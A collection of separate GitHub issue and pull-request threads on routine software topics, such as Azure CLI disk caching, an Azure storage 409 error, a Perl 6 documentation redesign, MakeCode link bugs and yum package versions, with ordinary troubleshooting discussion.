The argument "--caching" from "az vm disk attach" command is ignored. The disk is attached with host caching None
To reproduce the issue I ran the commands:
az group create  -l eastus -n topo-ene
az vm create -n topo-ene-vm-1 -g topo-ene
--size "Standard_DS3_v2"
--image RHEL
--admin-username azureuser --ssh-key-value $ssh_key_path
--storage-caching ReadOnly
--storage-sku Premium_LRS
--data-disk-sizes-gb 128
diskName=$(az vm show --name topo-ene-vm-1 -g topo-ene --query "storageProfile.dataDisks[0].name" )
az vm disk detach --name $diskName
-g topo-ene
--vm-name topo-ene-vm-1
az vm disk attach --disk $diskName
-g topo-ene
--vm-name topo-ene-vm-1
--caching ReadOnly
I noticed that if I attach a new disk to the vm ( with --new argument), the caching is set correctly.
Shouldn't the caching argument be taken into consideration also for already created disks ?
Thanks a lot for your help!

Environment summary
Install Method: How did you install the CLI? (e.g. pip, interactive script, apt-get, Docker, MSI, nightly)
Answer here: interactive script using the instructions from https://docs.microsoft.com/en-us/cli/azure/install-azure-cli
CLI Version: What version of the CLI and modules are installed? (Use az --version)
Answer here: azure-cli (2.0.6)
OS Version: What OS and version are you using?
Answer here: OS X El Capitan 1.11.6
Shell Type: What shell are you using? (e.g. bash, cmd.exe, Bash on Windows)
Answer here: bash

Changing the caching model of an existing disk is not allowed by service. We should error out if it is not used with --new

Hello
If caching argument can work only with --new, how can you specify the caching when you create a disk from a snapshot and you attach it to a vm ?
The commands used in this usecase are: az disk create (which doesn't have caching argument) and az vm disk attach. I can not use only "az vm disk attach --new" because it doesn't have the possibility to create the disk from a source
Thanks a lot for your help!

@danielaene, I will investigate and get back to you

the same for me - I cannot detach disk and attach it with new Caching policy regardless of VM state (deallocated or not)

Fixed

what is exactly fixed?

as the title states az vm disk attach ignores caching argument

so now it doesn't ignore it?

yes

do I have to update CLI version in order to get the fix?

Not released yet, you can try either the docker image or nightly drop tomorrow morning
https://github.com/Azure/azure-cli#installation

when it's going to be available via apt-get for example? I don't use docker image so far.
the last time I tried to use nightly drop I had an issue with it and had to reinstall CLI from scratch

It will be available when the current milestone (sprint 17) ends.
https://github.com/Azure/azure-cli/milestones


Design of the Link component

Design on component branch and push to main Figma file when approved.
Acceptance Criteria:

[x] Component Kickoff
[x] Sync with Dev and Design
[x] Research and consulting other design libraries
[x] WCAG Goal can be completed using a screen reader.
[x] WCAG Visual elements observe color contrast requirements.
[x] WCAG Manual accessibility testing meets WCAG 2.1 AA requirements.
[x] Provides equal service in French and English.
[x] Sync with Dev and Design
[x] Comparison with official policy, documented reasons for deviation if any
[x] Design review
[x] Policy review
[x] Design - Different screen sizes
[x] Design - Short content / long content (text overflow etc.)
[x] Design - Error state (if applicable)
[x] Design - Empty state (if applicable)
[x] Component anatomy
[x] Write draft of design guidance
[x] Handoff from draft dev guidance to documentation author/lead
[x] Update Figma version

Reopening this as there is some extra design work that needs to be done on the link component:

Daine's work showed there is a need for some extra link variants (mailto:, tel:, download:)
The link component is slightly different from the coded version need to make some slight adjustments


Storage Container 409 error

Storage Container returns 409 error on second updating
Region: West Europe, Storage Account Name:acctestacclph8h ContainerName: vhds
HTTP/2.0 409 Conflict
Content-Length: 196
Cache-Control: no-cache
Content-Type: application/json
Date: Thu, 22 Oct 2020 07:23:43 GMT
Expires: -1
Pragma: no-cache
Server: Microsoft-Azure-Storage-Resource-Provider/1.0,Microsoft-HTTPAPI/2.0 Microsoft-HTTPAPI/2.0
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Ms-Correlation-Request-Id: 2cb09337-8692-90b7-f661-fb3c00234d44
X-Ms-Ratelimit-Remaining-Subscription-Writes: 1176
X-Ms-Request-Id: 41ab4f31-8d17-4588-a67e-8f363102b94b
X-Ms-Routing-Request-Id: SOUTHEASTASIA:20201022T072344Z:2db39721-e35a-4214-96cc-3e6f7599403a
{"error":{"code":"PublicAccessNotPermitted","message":"Public access is not permitted on this storage account.\nRequestId:f341ec27-b01e-00bc-6544-a83027000000\nTime:2020-10-22T07:23:43.8986076Z"}}

@yupwei68
The account "acctestacclph8h" no exist now, so can't check the account properties.
But the issue might caused by the storage account "allowBlobPublicAccess" is set to false. Please make sure it's true (or null for new created account), and try again.

@blueww Thanks. allow_blob_public_access = true works.


Fix invalid version of wasm-pack

Pull Request Description
Long shot to potentially fix wasm-pack/wasm-bindgen generation issues. Hosted MacOS ARM runner uses 0.12.1 and that one works. Maybe this has broken during wasm-bindgen upgrade.
Related to #11076.

That's a very good spot. Let's see what artifacts are produced and if it fixes the issue, but this change should be merged either way.


Handle hyphenation

 Issue by deepakjois
Friday May 19, 2017 at 10:49 GMT
Originally opened as https://github.com/deepakjois/luatex-harfbuzz/issues/2

Just in case you didn’t see it, https://github.com/tatzetwerk/luatex-harfbuzz seems to have a good approach for handling hyphenation.

I have seen it…but I can’t say it was easy to follow the code. Mostly because it has three different variations in one repo. Could you point me to a file or function I can look at?

I didn’t look into the code before, my suggestion was based on the paper and quick testing. The code looks needlessly convoluted indeed, but closer look shows that all the interesting code is in font-hb.lua. The code that handles hyphenations seems to be https://github.com/tatzetwerk/luatex-harfbuzz/blob/master/luatex-harfbuzz/font-hb.lua#L389-L510.

I didn’t look into the code before, my suggestion was based on the paper and quick testing.

I did receive a mail from the authors, but I don’t recall seeing any paper. Is it possible to get access to this paper? If it’s not available online, could you please mail it to me at<EMAIL_ADDRESS>(if that’s okay with you). Thanks!

The paper is on the repository, the top level.
On Tue, May 23, 2017, 5:01 AM Deepak Jois<EMAIL_ADDRESS>wrote:

I didn’t look into the code before, my suggestion was based on the paper
and quick testing.
I did receive a mail from the authors, but I don’t recall seeing any
paper. Is it possible to get access to this paper? If it’s not available
online, could you please mail it to me at<EMAIL_ADDRESS>(if
that’s okay with you). Thanks!
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/deepakjois/ufylayout/issues/2#issuecomment-303277115,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAFu2t1iHEjDqL4XkbxS2iu0OnTUMz1Iks5r8kwkgaJpZM4Nh8Wk
.


Upgrade JS deps

This updates most deps to the latest version. Note that npm audit still shows a high vulnerability for js-yaml in the mocha package but there doesn't seem to be a plausible way to use that for an exploit and there's no way to update the package for us because it's a pinned indirect dependency.
The new eslint config deps were incompatible with the existing coding style so instead of reformatting every JS file I've simply inlined the old rules and removed the config deps.
This includes semver major updates to joi, mocha and eslint so we want to make sure jenkins is very happy before merging.
@fceller Please clarify if this should be rebased onto 3.5. I'm tagging you because you originally requested this change. Once you've decided which release this should end up in, I'll update the CHANGELOG accordingly.
I'm also tagging @dothebart because I'm not sure if the changes to the dependencies affect any whitelists/blacklists we have for node_modules contents in our packaging process and as FYI because the update to mocha is testing related. If this doesn't affect code you're interested in, feel free to remove yourself.
I've run both the shell_server and shell_client test suites as well as performed a number of manual smoke tests and everything seems to be working again. We should definitely run this through the full jenkins spiel though because things might break in subtle ways.

http://jenkins01.arangodb.biz:8080/view/PR/job/arangodb-matrix-pr/4100/

@pluma please merge back to devel


Keep TLS state when established

We currently will not use the TLS state once established, but if we implement exit control messages we will need to keep the TLS state around.
We may not need the TLS state if exitcc is not negotiated. In that case we can reiterate and make it an option.

looks good to me, thanks!


Add support for Google Cloud Bigtable in SQLAlchemy

It would be very useful to have Google Bigtable support in Python SQLAlchemy.
It seems Cloud MySQL is fine since SQL Alchemy supports it. However, for NoSQL tables, it seems there is not yet support from Google Bigtable.
Also, Google Big Query should have  compliant interface with SQL Alchemy.
https://github.com/GoogleCloudPlatform/google-cloud-python/issues/2434
It will really help to develop new applications from Bigtable.

The integration between SQLAlchemy and Google Cloud Bigtable would have to be done in SQLAlchemy. I was going to file a bug on SQLAlchemy on your behalf, but looks like you've already filed a feature request and it was closed as wontfix:

unfortunately Google bigtable is non-relational and non-SQL, SQLAlchemy does not have support for key/value stores.

and a previous email thread on the sqlalchemy@ list about adding support for NoSQL databases like HBase (which is very similar to Bigtable) ended up without any answers.
Thus, I am afraid we won't be able to help you use SQLAlchemy together with Bigtable.

That said, as an alternative, consider using Apache Hue, which works with Apache HBase, and can be made to work similarly with Bigtable. We don't have a simple howto for how to connect Apache Hue to Cloud Bigtable yet, but I imagine it can be done as follows:

Apache Hue -> (a: Thrift API) -> Apache HBase Thrift proxy -> (b: gRPC API) -> Google Cloud Bigtable
The first connection (a) should work out-of-the-box for Hue and HBase. The second connection can use the Google Cloud Bigtable Java client for HBase. This is not as complicated as it looks, although there are several parts to connect together to make it all work.

Apache Hue -> (gRPC API) -> Google Cloud Bigtable
This could be done using the Google Cloud Bigtable Java client for HBase, but it requires Apache Hue to use the HBase 1.x API (which I believe is not yet the case, I believe it's using 0.9x API and/or Thrift), so I would recommend following option (1) above for now instead.

Hope this is helpful.

Integrating Apache Impala with Cloud Bigtable certainly makes sense, and should enable the other integrations you are looking for (Baze in particular).
Looks like Apache Impala already works with Apache HBase so, in theory, it should also be compatible with Cloud Bigtable via the Cloud Bigtable HBase-compatible Java client library.
Please feel free to try using the Cloud Bigtable Java client for HBase with Apache Impala (and Apache Hive, since it provides the metadata store for Impala) and if you run into any issues, please let us know and also file a bug on Apache Impala and/or Apache Hive, as appropriate.

Hello,
We are on Python side, so we do not use Java
Also this Github is only for Google Python.
It would be good that Google supports better Python (as Amazon is doing
it already).
Misha Brukman wrote:

Integrating Apache Impala with Cloud Bigtable certainly makes sense,
and should enable the other integrations you are looking for (Baze in
particular).
Looks like Apache Impala already works with Apache HBase so, in
theory, it should also be compatible with Cloud Bigtable via the Cloud
Bigtable HBase-compatible Java client library
https://cloud.google.com/bigtable/docs/bigtable-and-hbase.
Please feel free to try using the Cloud Bigtable Java client for HBase
with Apache Impala (and Apache Hive, since it provides the metadata
store for Impala) and if you run into any issues, please let us know
and also file a bug on Apache Impala and/or Apache Hive, as appropriate.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/GoogleCloudPlatform/google-cloud-python/issues/2762#issuecomment-263172568,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AR10p4CNMIzdbk6SFJlbnzzsd2KcKVJJks5rCkK6gaJpZM4K5puq.

@arita37, I think we're talking about the same thing, but perhaps I was unclear. Let me clarify what I think you're looking for and how to accomplish your goal.
As I understand it (please correct me if I'm wrong), you would like to connect the following set of components:
Blaze → Impyla → Apache Impala → Google Cloud Bigtable
What I am suggesting is that to accomplish last connection (Impala → Bigtable), since Impala is written in Java and integrates with Apache HBase, you need to:

download the Cloud Bigtable HBase-compatible Java client library
modify /etc/impala/conf/hbase-site.xml as described on this page

You don't need to write any Java code to do this, just change configuration in an XML file. We are not suggesting that you should switch from Python to Java for your development.
I hope this helps. Let us know if you run into any issues with this setup, configuration, or performance.

@arita37, we recently launched support for BigQuery to query data stored in Cloud Bigtable, and BigQuery supports SQL. It removes the need to run Impala or Hive or any other system, so anything that can already talk to BigQuery can use this (read-only) bridge to query data in Cloud Bigtable.
Would this address your use case?

@daspecster, @dhermes -- not sure why it says I removed my assignment, I did not do that (only left a comment) and had no intention of doing this. However, I am now unable to reassign this issue to myself (looks like I don't have permission to do so). Please feel free to assign it back to me. Thanks!

I think you lost your assignment because you are not on a team with write access to this repository. We did a pretty thorough permissions scrub a few weeks ago.
Poke me on Hangouts if you actively need write access; otherwise, feel free to just treat this issue as if it is yours and send a pull request.

@lukesneeringer – I don't have a strong need for repo-wide write access; I just wanted to keep this assigned to me for clarity and tracking purposes. There isn't a specific PR to send at this time. If you have repo write access, maybe you can assign it to me?

From Assigning issues and pull requests to other GitHub users:

If you have write access to a repository, you can assign issues and pull requests to yourself, collaborators on personal projects, or members of your organization with read permissions on the repository.

@lukesneeringer Was under the impression you needed write access to be assigned but it looks like read access will be sufficient?

I think at this point, I am going to close this issue. The real need now is to integrate BigQuery with SQLAlchemy, which is unrelated and tracked in #3023.


Java exception when combining items with anvil interface

Hello,
I'm trying to combine items using the anvil interface, but can't get it to work. This is the setup i'm using:

The lua function looks like this:
anvil.combine("minecraft:chest_3", 1, "minecraft:chest_4", 1, "xp_collector_0")
This throws a java exception:

Hello, it uses 8 bottles of enchanting per combine, it can't interface directly with the collector
here is the docs for the combine method
https://jheffersonmarques.github.io/More-Peripherals-Docs/peripherals/anvil_interface/
combine(from:string,fromSlot:number,resources:string,resourceSlot:number,xpSource:string) -> Combines two items, one from the first input, and other from the resources input, using 8 bottles of enchanting from the xpSource inventory

I'm still experiencing the same problem, I tried seperating all the peripherals like this:

But it's still throwing the same error as before and I'm quite sure I have the combine method correct.  When calling dumpXP() on the xp collector I don't see any xp coming out, it just deletes it all (sets the current xp to 0).  I also have one diamond helmet in one chest, and a prot 3 book in the other chest.

Nevermind, It works now. I had to replace the xp collector with a chest full of experience bottles. (I think that might be what you meant).
On a side note:
Do you have any idea when a new version for 1.19.2 will be released to curseforge with all the latest updates? 1.19.2 is seen as one of the new major modding versions.

i intend to make an update soon, i'm waiting to fix most of the stuff being reported and implementing suggestions under the hood, probably next monday i can update both the 1.19.2 and 1.19.3 versions
and also a plan on doing a rewrite for 1.20 supporting both forge and fabric ENVs, probably adding new stuff too :D

That's amazing, thank you so much! For now we're staying with 1.19.2, because many mods are supported and will stay supported for this version. Would love to see the new features over there :wink:.


Good evening, I have a F200 handy realsense depth 3d camera.

Before opening a new issue, we wanted to provide you with some useful suggestions (Click "Preview" above for a better view):

Consider checking out SDK examples.
Have you looked in our documentations?
Is you question a frequently asked one?
Try searching our GitHub Issues (open and closed) for a similar issue.

All users are welcomed to report bugs, ask questions, suggest or request enhancements and generally feel free to open new issue, even if they haven't followed any of the suggestions above :)

Required Info

Camera Model
{ R200 / F200 / SR300 / ZR300 / D400 }

Firmware Version
(Open RealSense Viewer --> Click info)

Operating System & Version
{Win (8.1/10) / Linux (Ubuntu 14/16/17) / MacOS

Kernel Version (Linux Only)
(e.g. 4.14.13)

Platform
PC/Raspberry Pi/ NVIDIA Jetson / etc..

SDK Version
{ legacy / 2.. }

Language
{C/C#/labview/nodejs/opencv/pcl/python/unity }

Segment
{Robot/Smartphone/VR/AR/others }

Issue Description
<Describe your issue / question / feature request / etc..>

Could you tell us about what your problem with your F200 is, please?  Could you also tell us about the computer and the operating system that you are using the camera with.  Thanks!


Cannot destructure property 'serverOptions' of 'useMultiCacheApp(...)' as it is undefined.

Hi there,
With the update from the version 3.2.0 to 3.3.0 i get this error when I call the purgeAll endpoint. I have looked through the changes and maybe my error is caused by this line https://github.com/dulnan/nuxt-multi-cache/commit/9bd9d496a13a710c620c5a1b28aa0e98a1b6719d#diff-ad782f9485665dc82c5135d0a2dca0a1b92cbd56a2db995202b5ed5a45344d3dR9 ?
I also noticed, that the debug output is not there anymore altough the debug flag is enabled. Maybe there is something that needs to be changed in order for this version to work? I looked through the docs but did not found anything.
As soon as I downgrade the version, the cache works as intended.
Full Error on Purge All:
{"url":"/cache/purge/all","statusCode":500,"statusMessage":"","message":"Cannot destructure property 'serverOptions' of 'useMultiCacheApp(...)' as it is undefined.","stack":"
at checkAuth (./node_modules/nuxt-multi-cache/dist/runtime/server/api/helpers/index.js:19:11)\nat Object.handler (./node_modules/nuxt-multi-cache/dist/runtime/server/api/purgeAll.js:5:9)\nat Object.handler (./node_modules/h3/dist/index.mjs:2213:34)\nat ./node_modules/h3/dist/index.mjs:1975:31\nat process.processTicksAndRejections (node:internal/process/task_queues:95:5)\nat async Object.callAsync (./node_modules/unctx/dist/index.mjs:72:16)\nat async Server.toNodeHandle (./node_modules/h3/dist/index.mjs:2266:7)
"}

Should be fixed in the latest release.


Post location selection overhaul

We were a bit overambitious with our drive selection app ui. It is insufficient to have the user select a volume. We need to let him/her select a path to store post. We should let the OS deal with volumes and browsable locations via standard os dialog boxes. We need to communicate to users that they are responsible to make sure that they have read and write permissions on that location.  We should revert to something much simple for 0.1:
Smeshing screen - post not setup yet:

Instructions label: Select the location you would like to use for storage commitment..
Display a button titled Select Location.
Clicking should display the standard host OS select location dialog box.
After the user has selected a path, display the path below the button and enable next.
Next should be disabled until the user has chosen a location.

This will also resolve the issue on linux where by default a user can't rw in /.

As a nice enhancement for this flow - once a user selects a path the app should try and write a small text file to that location and delete it. If there's an error - notify user that he doesn't have write permission at that path and he needs to select another one or change the permission on that path.

Can't select any folder on windows - next is disabled. tried desktop and documents.


zedmanager: Parse the snapshot-related configuration.

In the scope of the PR, I introduce the structures to store snap-related configurations coming from the controller.
Handling of the data and the population of the other data structures are coming in the further PRs.

Fix the Yetus errors.


Update main view to better handle artifacts

Artifacts should be able to be sorted, inspected, etc, and this is not convenient w/ the current visualization of the main view.
It may be better to add the pagination icon like in the outputs

Fixed as of #849. A sidebar had been added with a table view of the artifacts


A.05.IR14.ds.keyword

This issue has been extracted from the issue list on:https://ies-svn.jrc.ec.europa.eu/issues/2685
Comment
What happens if there's no descritiveKeywords block citing INSPIRE GEMET at all? I understand the current description of the test as follows: the test will work for each block and will skip to the next block (without failing) if no reference to INSPIRE GEMET is given. It's allowed to have additional descriptiveKeyword blocks citing nothing or other concepts.
Proposed Change
"If at least one descriptiveKeywords block references INSPIRE GEMET or any duplicate (...) and at least one keyword from that source is found in this block, the test succeeds, otherwise it will fail."

Proposed Resolution
Agreed with proposed change.


Helium crash using Silverlight

Okay so helium works and sliverlight works but putting these two together and all hell breaks loose.
When silverlight isn't installed, netflix promts me saying that i should install sliverlight.
After doing this helium crashes every time it uses silverligt.
I have made a fresh install of both, it didn't help.
Im running OSX 10.10.5, the newest version of silverlight as of the 14'th of march and using helium 20.

I'm experiencing an issue with Silverlight as well, particularly when trying to watch a TV show on Amazon Video. It's not crashing though. Instead, a black background fills Helium's window and that black background doesn't respond to resizing:

The latest version of Silverlight is installed and I'm running OS X 10.11.3 on a Macbook Pro Retina.

I had a similiar issue, downgrade the version to 1.9 and it works.


[WIP] Add hidden style to display

Adding this to work towards output hiding in nteract the notebook.
I figured I would put it here as well so anyone using an output component anywhere has the ability to hide it. I'm having an issue running the tests for this so I haven't actually confirmed that it works.

Weird that Travis passed this when in reality the tests failed. Looking into this....

Ugh. This there is a really annoying bug in the electron-mocha where it fails to parse the arguments passed in the command line properly.

This should be configured by users to set display:none by themselves rather than handling it in the component.
<DisplayArea outputs={outputs} style={display: 'none'}>

Or they create their own component that "builds" on top of our little lego piece here:
export default const TogglableDisplayArea = (props) => {
  const style = {display: this.props.hidden ? 'none' : 'block'}
  return <DisplayArea {...this.props} style={style}>
}

We should not include the logic into this component itself.

OK! I added a ToggleableDisplay!


Random bug on launch

Hello there,
I don't know if someone already had this kind of bug :

On the first launch "cordova run ios/android" my map is fully white, but if i run again "cordova run ios" the map appears and there is no problem. Same happens on my phone, it is really weird.
Is there something that can bug the map when i initialise it ?

Thank you.

Which version of this plugin do you have?

seems to be 1.3.9

This random bug is fixed in master and will be incorporated in the upcoming 1.4.0

@Hirbod
Do You mind pointing to the commit that fix this issue? Thank you.


Redesign of documentation system

The problem
The current documentation system has a number of weaknesses, and there are two independent Pod::To::* modules that do almost the same thing.
Suggestions
A redesign proposal has been added as a Wiki page.
Comments are welcome.

Related: #1823

Does this fit in here too: Split the module and the site #2295

Nice catch, it definitely would.

Nice. As the author of multiple editor decayed tools for Perl / Perl 6 over the years, we need to think in terms of what is really useful to a programmer's mindset and productivity (e.g. hover / context sensitive help). For example, we may need the following:

A public and standard API which other tools can consume like App::Perl6LangServer. Currently I am building / reading using p6doc build and p6doc index and generating output from p6doc [keyword] which is nice but slow and susceptible to shell attacks.

Reduce the size of index.data which is the output of p6doc build and p6doc path-to-index. It is a Perl 6 structure instead of being simply JSON which you need to do an evil EVAL to actually use. It also has lots of repetition with the prefix of routine / method and sub which can be categorized reducing its overall size and parsing time.

Improve usability with common-sense searches. Suppose a programmer runs p6doc my. He will get an error for no such type 'my'. Search should be easy and not that hard. Try also p6doc say and we get like 5 results with the most likely to be Type::IO.say. Also if we had an API, I would not complain because you can simply iterate and concatenate help output of multiple search results.

We may need in the future a "Did-you-mean" option like what is already in Rakudo's error messages.

Also maybe make p6doc server to run a simple REST service to make integration easier with other languages.

Here are some guidelines and previous work:

App::Grok API.
Padre::Document::Perl.

Thanks and sorry for the wall of text :+1:

Update.
I am currently doing this on my own.
The task is larger than I anticipated and so progress is slow :(
First stage: (completed)

compile all pod sources and create a CompUnit cache.
create a cache index containing source information and timing (CompUnit does not recognise when a file has been updated. This functionality may be in zef - not sure).
When a pod source file is update since the last time the Pod::To::Cached object is instantiated, the source is identified, recompiled, and if the compilation succeeds, then the HTML files can be updated.

This work is in the Pod::To::Cached Module.
Second stage: (partial)

remove ALL rendering into templates (mustache), so a different rendering (eg. md) can be made by creating a directory with templates. (html templates completed)
render all pod into html (completed)

added numerous pod->html tests to all those for Pod::To::HTML and Pod::To::BigPage
all tests passing
implemented FormatCodes not implemented in P2HTML (V<>)

TODO implement P<> partially

generate Table-of-Contents and Index for each pod source (completed)
generate files for whole site based on configuration files (almost complete)

two types of config possible, one for index.html type files, and one for glossary or overall index.

test all links in generated html (nearly complete)

this has shown up two flaws in existing pod files:
a) hard coded absolute urls in links
b) absolute urls in pod sources to GENERATED html files. (htmlify generates a number of files into the routine and syntax directories.) Consequently the urls may be wrong if htmlify breaks.

generate html with the same look as the existing files (mainly a CSS exercise) and appropriate config files. (minimal CSS)

This work is in the PodCache::Module and is still a work in progress.
Third Stage (not started)

Replicate all of the other tasks of htmlify

generate the body of a js search function
generate subsidiary html files for Syntax and Routines
generate graph-viz inheritance diagrams

The aim at the end of this stage is to create an online site for testing and comment before suggesting a switch from existing system.
Fourth Stage (not started)

rework perl6doc to use cache
rework Pod::To::Cached to access locally installed CompUnits.


Multiplayer Game links broken on Home Page

Galen/Kim can you take a look?  Not sure where these are supposed to be pointing to...

Editing the game from the game hosting site works but the linking from the gallery doesn't:
Host URL from gallery - https://arcade.makecode.com/--multiplayer#?host=_C71PmfFaYDm2

Edit URL from game host page - https://arcade.makecode.com/#pub:_C71PmfFaYDm2
Will investigate further...

@ganicke i think its this change https://github.com/microsoft/pxt-arcade/pull/5825/files, same bug as https://github.com/microsoft/pxt-arcade/issues/5864

@jwunderl The # appearing before the query params makes the url invalid. I wonder where that's being added.

In the debugger...
case "sharedExample":
                console.log("shared example");
                let r = pxt.github.normalizeRepoId(o) || pxt.Cloud.parseScriptId(o);
                r ? window.location.hash = "pub:" + r : c.errorNotification(lf("Sorry, the project url looks invalid."));
                break;
case "link":

for the other actions just remove the leading /, parseScriptId has a few valid inputs but it expects a domain if there's a slash -- https://arcade.makecode.com/_cvxPm1WesYyi and _cvxPm1WesYyi are both valid / ways we've referenced scripts but not /_cvxPm1WesYyi
@eanders-ms I think that was a typo in Galen's post as only "open in editor" is broken, it's redirecting fine for me on host game: https://arcade.makecode.com/--multiplayer?host=_C71PmfFaYDm2 / the screenshot showed it loaded the game fine

It works with the removal of the /. Is that the fix for now?
---
* name: Galga
* description: Controlling a starship, up to 4 players can help destroy the Galga forces, while avoiding enemies. Each player has 3 lives, last player alive wins the game!
* buttonLabel: Host Game
* actionIcon: xicon multiplayer
* imageUrl: /static/multiplayer/galga.png
* largeImageUrl: /static/multiplayer/galga.gif
* url: /--multiplayer?host=_C71PmfFaYDm2
* cardType: link
* otherAction: _C71PmfFaYDm2, , sharedExample
---


Bug Report:

Upon compiling the game as debug or release for html5 out of the box (I am unable to test if this happens for windows as I do not have a compiler), the following error message appears (in image attached), with something to do with the Discord.hx file. I've tried copying this file from 1.3 versions of Kade, which all worked, and still work. I've tried the 1.4 and 1.4 nightly builds, all with the same results.

Don't build the game to HTML5, Discord RPC is exclusive to Windows builds from now on. If you still want to build it to HTML5, remove Discord.hx and any mentions to Discord RPC from the files.

i think the discord rpc library should be included in all builds but only used in windows builds

This has been fixed for a while. Please git pull and try again.

@theDetourist that worked, thanks. I was using the release version which did not have those changes. Thanks for the help!


Use prospero BOM to manage shared dependencies

Uses prospero parent as BOM to allign shared dependency versions
Requires https://github.com/wildfly-extras/prospero/pull/401
cc @jfdenise

@jamezp , I see a benefit to align our provisioning tooling (prospero and this plugin provisioning capabilities). We are quickly becoming out of sync.

I would prefer a separate BOM I guess. It seems odd for the Maven plugin to reply on prospero only provisioning uses it. The deploy goals, CLI goals, etc. do not need provisioning.
Basically prospero is about channels and not Maven. This project is about Maven and not channels. It feels backwards to me.

I agree with @jamezp. The provisioning capability of the plug-is one among others and I don't think Prospero should be the component that dictates the plugins dependency updates.

OK I'll work on separate BOM then, thanks for feedback


Issue Links

It would be great to have a possibility to link tasks or even rows together. In a second step it would be great to visualize this dependencies.
I could imagine four dependency types:

finish-finish	=> has to be finished together with
finish-start	=> has to be done before
start-finish	=> earliest end is start of
start-start	=> has to be started together with

=> this different dependency types would affect start- and end-date of the two connected tasks.
a perfect visualization would be using arrows between tasks (also cross-rows) (e.g. with https://jsplumbtoolkit.com/demo/flowchart/dom.html)
Is a feature like this already in the pipe?
Cheers,
Florian

Hi Florian,
We already discussed of this feature in #12.
It's still not implemented, but JSPlumb has already be spotted as the best tool to implement it, and we already have choosen to NOT SUPPORT the computation of dates ... Dates computations should be performed by the end-developer, as angular-gantt is a visualization library only.
We are open to pull request if you want to implement this, it should be a Plugin (something like links plugin).


Not show pokemons

Not show pokemons on map. Just Gyms and Pokestops. Got 2 laptops, problem is just on one. Windows 10 on both. Got different accounts and differet API. Versin 0.10 0.11 also not working. Works only 0.07

Looks like this


EEG Modelling - add Similarity Curve feature on viewer

Add a similarity curve displayed on the nav-chart of the viewer

This PR was merged as a commit:
https://github.com/google-research/google-research/commit/85864eeac6794fbb808cca24de32bbbfcbcb658e
So we won't be able to merge this PR. I will close this item.


Show an error message if selected custom external isn't installed

This is just a suggestion for something that occurred to me as I was verifying https://github.com/microsoft/vscode-livepreview/issues/517
I selected "firefox" first not realizing I didn't have it installed on my machine. It just made the "open externally" command fail silently.

Were you on prerelease? I actually just fixed something like that for #421
It should pop up something like this:

Thinking about this again, do you think that it should be a modal window instead of of a pop-up notification? Perhaps since it's a pretty big error, it should be pretty noticeable.

I think making it a model window makes sense to me given it's a blocking action? Don't feel strongly about it though. I can't see the notification unfortunately :( I'll share my logs on the other open issue

That's ok! I think that there was some cases of it not working, as found in #421. I'll close this in favour of that issue, which should be tracking the same thing.


fix: Changes the type of Size() to uint64

Description

Wazero issue: https://github.com/tetratelabs/wazero/issues/1852

Cherry-picked commits:

https://github.com/tetratelabs/wazero/commit/8a61b01fafa9085f6f07ac33a1c6bc25fd2193a4
https://github.com/tetratelabs/wazero/commit/1458ccc8b07e87f68d3d29c2149ce77679b3e6ea

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.0 out of 2 committers have signed the CLA.:x: mathetake:x: ncrucesYou have signed the CLA already but the status is still pending? Let us recheck it.


Migrate from monsooncommerce to stoneedgetech

Godeps update

This wasn't meant to go to monsooncommerce. It can be ignored.


[Feature] - Aggregate and display failures at the bottom of output

What this PR does / why we need it
When any tests fail in a TestCase containing multiple tests it aggregate and display the failed tests together as the final portion of the output.
Fixes https://github.com/kyverno/kuttl/issues/25

@eddycharly please review


New Rules: ValidateArrayIndentation and ValidateObjectIndentation

JSCS 1.7 removed the array and object checking from validateIndentation because many people just wanted blocks checked. We need new rules to validate array and object indentation separately.

---
Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/6732823-new-rules-validatearrayindentation-and-validateobjectindentation?utm_campaign=plugin&utm_content=tracker%2F281640&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F281640&utm_medium=issues&utm_source=github).

Would this catch the following case with "disallowMixedSpacesAndTabs": true (note the tab preceding .baz)? If not, I can open a new issue.
var foo = function() {
  bar()
	.baz();
}

Moving to https://github.com/jscs-dev/node-jscs/issues/1866


Added wdc to use us-east vpc region for image import

Folks using wdc instead of us-east in region would import the image from Sydney COS bucket. This is not a blocker but to use the closest region it is needed.

/cc @Prajyot-Parab


Feat: team validation

When creating a team for a specific league it should not be saved as long as the team has a member with a cp value higher as the league it's in.
This can be done by calling the validation endpoint and disabling the save button whilst it returns false.
There should be a small message to make this clear to the user.

As an addition, the team validator should also check if a team is empty to prevent a player from starting a game with an empty team

just pushed this feature. i forgot about the empty team clause, but the game shouldn't be able to let you enter with a team less than 3 anyways. i'll make that a seperate issue


Summary page shows extra messages

Dev Home version
No response
Windows build number
No response
Other software
No response
Steps to reproduce the bug

Expected result
Only one message showing "Failed to ..."
Actual result
Multiple messages are displayed (including retry attempts)
Included System Information
No response
Included Extensions Information
No response

I am not able to repro this issue in the latest version of the app. Please re-activate if you are seeing it in the latest version.

I am not able to repro this issue in the latest version of the app. Please re-activate if you are seeing it in the latest version.


Discussion/Update - Review the worker nodes definition

Overview
Today we provision 3 compute groups.
Although we seems to use only 1 or 2.
The goal of this ticket is to define how much workers groups we want to have, and from that update terraform and applications node selector polices to follow the new definition.

From last discussion:

we may want to have just one
OR
Two one for management apps and other for applications like (metaphors)

I believe they (metaphor apps) could share the management nodes.
The only reason to justify another node pool is to show how the apps can be scheduled across the nodes...
But this is more like a k8s tutorial than the kubefirst tutorial... IMHO


Yum Repo does not contain old releases

When a new package is added to your repo you are removing the old version.  This stops us locking to a specific rpm version until we can test newer versions in our test environment.
ie
yum --showduplicates list buildkite-agent
Installed Packages
buildkite-agent.x86_64                                                                                2.1.1-886                                                                                @Buildkite
Available Packages
buildkite-agent.x86_64                                                                                2.1.1-886                                                                                Buildkite
I would expect the above command to show older packages the equivalent to this :
yum --showduplicates list docker-compose
Loaded plugins: priorities, update-motd, upgrade-helper
971 packages excluded due to repository priority protections
Installed Packages
docker-compose.x86_64                                                                                1.4.0-1.amzn1                                                                                @hooroo
Available Packages
